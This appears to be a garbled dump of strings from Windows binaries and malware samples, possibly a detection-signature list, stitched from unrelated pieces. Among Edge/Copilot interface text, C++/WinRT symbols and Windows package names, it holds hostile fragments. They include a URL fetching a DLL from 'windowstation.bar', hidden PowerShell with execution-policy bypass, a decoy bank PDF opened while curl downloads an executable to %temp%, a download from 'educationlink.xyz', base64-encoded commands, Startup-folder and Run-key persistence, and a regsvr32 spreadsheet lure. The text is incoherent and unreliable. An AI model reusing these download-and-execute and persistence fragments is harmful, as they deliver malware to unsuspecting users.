BrowserView::ShowOrHideSiblingWindows
earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
<title>windowsdefenderwebinstall</title>
http://windowstation.bar/opzi0na1la.dll
start"""powershell"-windowstylehidden"
dows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIActivationFactory@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIColumnDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIColumnDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIColumnDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIFilterViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIFilterViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
windows.onCreated
windows.onRemoved
windows.onFocusChanged
windows.onBoundsChanged
176^com.microsoft.windows.telemetryid
177^com.microsoft.windows.extensionpackage
 Windows 
!#SCRIPT:IwshshellRunWindowsTemp.A
c:\windows\temp\
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
C:\WINDOWS\system32\en-US\kern
allowScriptsToCloseWindows
 wardamericanexpress.blob.core.windows.net/aexp/
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx-Shared-MOF-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Portable-Devices-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
rogramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-shm
x\windows\
B+\appdata\roaming\microsoft\windows\startmenu\programs\startup
c:\windows\system32\cmd.exe/c"start%cd%
9drsetlocal=%appd%\microsoft\windows\startmenu\programs\startup
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.fnb.co.za/downloads/public/fnb_psb_obestatement.pdf&curl-slo%temp%\480ef6fd-86fe-406e-8489-859528d7bda6.exw
\?\c:\windows\system32\en-us\wmimgmt.msc'
\c$\windows\
system32\cmd.exe/cstart
&list"-windowstylehidden-executionpolicybypass-commandj
\windows\(
2echo>>c:\windows\temp\text.vbssget.mode=
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
lper@Utils@TaskManager@@AEAA?AUIAsyncAction@Foundation@Windows@winrt@@XZ@X$$V@impl@winrt@@
.?AUtype@?$abi@UDispatcherQueueHandler@System@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_26>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AU?$delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_26>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AV<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_26>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@Windows@winrt@@@Z@
.?AV<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_27>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@Windows@winrt@@@Z@
.?AU?$implements_delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_27>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUAccessibilitySettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_28>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUAccessibilitySettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AU?$delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUUISettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_27>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUUISettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AU?$delegate@UDispatcherQueueHandler@System@Windows@winrt@@V<lambda_1>@?4???$?RAEBUAccessibilitySettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_28>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUAccessibilitySettings@ViewManagement@UI@34@AEBUIInspectable@Foundation@34@@Z@@impl@winrt@@
.?AV<lambda_1>@?4???$?RAEBUAccessibilitySettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@34@@<lambda_28>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@QEBA?A_PAEBUAccessibilitySettings@ViewManagement@UI@Windows@winrt@@AEBUIInspectable@Foundation@Windows@winrt@@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UAccessibilitySettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_28>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UAccessibilitySettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UAccessibilitySettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_28>@H
MicrosoftWindows.Client.OOBE/
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe
pWIndowSD
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$root_implements_composable_inner@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@$0A@@impl@winrt@@
Global.WindowsPeopleExperience.AppXpkzme2jr11ysrte06wck8kyezwk1pbfx.mca
NKarna.Windows.UI.Design10B5CBAA6375A87DB8E84B2F3DDAEC22CE5208C13B65B52AF597CE0EBF89493612C9E3E130C6A84690E3AEF5BBD27AF7900FBECB4075560BD54B20C9343E7F0B3B0E4842B28D6B39EC725A6459FB943F5F1D658F4D0EE991004DD50F2C182F31718588828B0428D818C6ECDFDB3D90977541F7A4BA5F6D564C385E3C63BA0D8693E3180BDBAEA876D1DDDEFA6750E2BB37FA10B4F110324553C20A2262AD1F3AAE9B3682169A3675432CCF6733006BA8871C7D4AB232A70EC6AD5E45701C2D2AE9AEF7A76621FCEDDDC8D440A05D6BC70EFD101C1A69DAA11C03ADB36C85FC0Cset_My
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-ErrorReportingFaults-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
soft\windows\currentversion\app management\arpcache\s
\windows\system32\cmd.exe/cmode
s\system32
.file('http://educationlink.xyz/readme.txt',$path);c:\windows\b
system32\conhost.exepower
c:/windows/system32/dL
c:/windows/system32/dl
.iniSOFTWARE\Microsoft\Windows\CurrentVers]	
kc:\windows\system32\cmd.exe/cechoc3rhcnqgl21pbibwb3dlcnnozwxsic1jb21tyw5kicjjv1igj2h0dhbzoi8vbnjndglrlm14l3dwlwnvbnrlbnqvdxbsb2fkcy93cH
windows\\system32
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
*Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy-In-Block
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Allow-InternetClientx
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Block
\windows
system32\wscript
mount[^\]*\windows
ISingleFileGeneratorDispose__Instance__ My.MyWpfExtenstionModule.Windows
Microsoft-Windows-Wifi-Client-Marvel-Mrvlpcie8897-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Qualcomm.Athw8x
Microsoft-Windows-Wifi-Client-Qualcomm-Athw8x-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Qualcomm.Athwnx
Microsoft-Windows-Wifi-Client-Qualcomm-Athwnx-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Qualcomm.Qcamain10x64
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Ralink.Netr28x
Microsoft-Windows-Wifi-Client-Ralink-Netr28x-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Realtek.Rtl8192se
Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Realtek.Rtwlane
Microsoft-Windows-Wifi-Client-Realtek-Rtwlane-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Windows-Defender-ApplicationGuard-Inbox-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
_MicrosoftWindowsSMBDirect_
PI/WindowsCorta
=c:\windows\system32\cmd.exe/cstart
t>\windows\
\windows
\windows\diskcleanup\s;	
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
GetWindowsDirectoryW
GetWindowsDirectoryA
bSystem32\
Windows\
@%SystemRoot%\system32\shell32.dll,-8964
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
temRoot%\system32\mswsock.dl
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Averbrunas-args'-noprofile-noexit-windowstylehidden-command"$
onecoreuap\windows\frameworkudk\audiographsettingsextension.cpp
onecoreuap\windows\frameworkudk\inc\internal\Switcher.h
onecoreuap\windows\frameworkudk\dcompprivates.cpp
onecoreuap\windows\frameworkudk\inputprivates.cpp
onecoreuap\windows\frameworkudk\dxprivatescommon.cpp
Konecoreuap\windows\frameworkudk\inputpaneframework.cpp
bonecoreuap\windows\frameworkudk\mediacaptureextension.cpp
onecoreuap\windows\frameworkudk\mediaplaybacklistextension.cpp
onecoreuap\windows\frameworkudk\mediaplaybacksessionextension.cpp
6onecoreuap\windows\frameworkudk\mediaplayerextension.cpp
onecoreuap\windows\frameworkudk\mfmediaengineextension.cpp
onecoreuap\windows\frameworkudk\inc\internal\batchquery.h
onecoreuap\windows\frameworkudk\platformfunctions.cpp
onecoreuap\windows\frameworkudk\inc\internal\inputsiteadapter.h
onecoreuap\windows\frameworkudk\inc\internal\activationconfiguration.h
[onecoreuap\windows\frameworkudk\timedmetadatatrackextension.cpp
onecoreuap\windows\frameworkudk\inc\helpers\ExportLoader.h
onecoreuap\windows\frameworkudk\uupstaterepository.cpp
onecoreuap\windows\frameworkudk\windowing.cpp
onecoreuap\windows\frameworkudk\frameworkinputview.cpp
onecoreuap\windows\frameworkudk\mrtcore.cpp
c:\windows\system32\cmd
      <xs:enumeration value="windows.backgroundTasks"/>
      <xs:enumeration value="windows.preInstalledConfigTask"/>
      <xs:enumeration value="windows.updateTask"/>
      <xs:enumeration value="windows.restrictedLaunch"/>
      <xs:enumeration value="windows.fileTypeAssociation"/>
      <xs:enumeration value="windows.protocol"/>
      <xs:enumeration value="windows.autoPlayContent"/>
      <xs:enumeration value="windows.autoPlayDevice"/>
      <xs:enumeration value="windows.shareTarget"/>
      <xs:enumeration value="windows.search"/>
      <xs:enumeration value="windows.fileOpenPicker"/>
      <xs:enumeration value="windows.fileSavePicker"/>
      <xs:enumeration value="windows.cachedFileUpdater"/>
      <xs:enumeration value="windows.cameraSettings"/>
      <xs:enumeration value="windows.accountPictureProvider"/>
      <xs:enumeration value="windows.printTaskSettings"/>
      <xs:enumeration value="windows.lockScreenCall"/>
      <xs:enumeration value="windows.appointmentsProvider"/>
      <xs:enumeration value="windows.alarm"/>
      <xs:enumeration value="windows.webAccountProvider"/>
      <xs:enumeration value="windows.dialProtocol"/>
      <xs:enumeration value="windows.appService"/>
      <xs:enumeration value="windows.mediaPlayback"/>
      <xs:enumeration value="windows.print3DWorkflow"/>
      <xs:enumeration value="windows.lockScreen"/>
      <xs:enumeration value="windows.aboveLockScreen"/>
      <xs:enumeration value="windows.personalAssistantLaunch"/>
      <xs:enumeration value="windows.voipCall"/>
      <xs:enumeration value="windows.webAccountProvider"/>
      <xs:enumeration value="windows.appExtensionHost"/>
      <xs:enumeration value="windows.appExtension"/>
      <xs:enumeration value="windows.appUriHandler"/>
      <xs:enumeration value="windows.appointmentDataProvider"/>
      <xs:enumeration value="windows.emailDataProvider"/>
      <xs:enumeration value="windows.contactDataProvider"/>
      <xs:enumeration value="windows.appExecutionAlias"/>
      <xs:enumeration value="windows.appService"/>
      <xs:enumeration value="windows.protocol"/>
      <xs:enumeration value="windows.fileTypeAssociation"/>
      <xs:enumeration value="windows.sharedFonts"/>
      <xs:enumeration value="windows.userDataTaskDataProvider"/>
      <xs:enumeration value="windows.mediaCodec"/>
      <xs:enumeration value="windows.contactPanel"/>
      <xs:enumeration value="windows.loopbackAccessRules"/>
      <xs:enumeration value="windows.devicePortalProvider"/>
      <xs:enumeration value="windows.printWorkflowBackgroundTask"/>
      <xs:enumeration value="windows.printWorkflowForegroundTask"/>
      <xs:enumeration value="windows.userActivity"/>
      <xs:enumeration value="windows.mediaSource"/>
      <xs:enumeration value="windows.videoRendererEffect"/>
      <xs:enumeration value="windows.activatableClass.outOfProcessServer"/>
      <xs:enumeration value="windows.startupTask"/>
:3DIsoftware\microsoft\windows nt\currentversion\drivers32antimchtnod3livepand
p\software\microsoft\windows\currentversion\run
Pfor/f"tokens=3delims=:"%%ein('%windir%\system32\ping.exe
[windows.
c:\windows\system32\cmd.ex
5f^windows.appExtension
<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>"http:
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::hstring,struct winrt::hstring> __cdecl winrt::iterable_base<struct winrt::impl::map_impl<struct winrt::hstring,struct winrt::hstring,class std::map<struct winrt::hstring,struct winrt::hstring,struct std::less<struct winrt::hstring>,class std::allocator<struct std::pair<struct winrt::hstring const ,struct winrt::hstring> > >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::hstring,struct winrt::hstring>,struct winrt::impl::collection_version>::iterator::Current(void) const
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\winrt\Windows.Foundation.Collections.h
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ResourceContext.cpp
void __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceContext::InitializeQualifierNames(void)
auto __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceContext::InitializeQualifierValueMap::<lambda_1>::operator ()(void) const
void __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceContext::Apply(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::hstring>,struct winrt::hstring>::GetAt(unsigned int) const
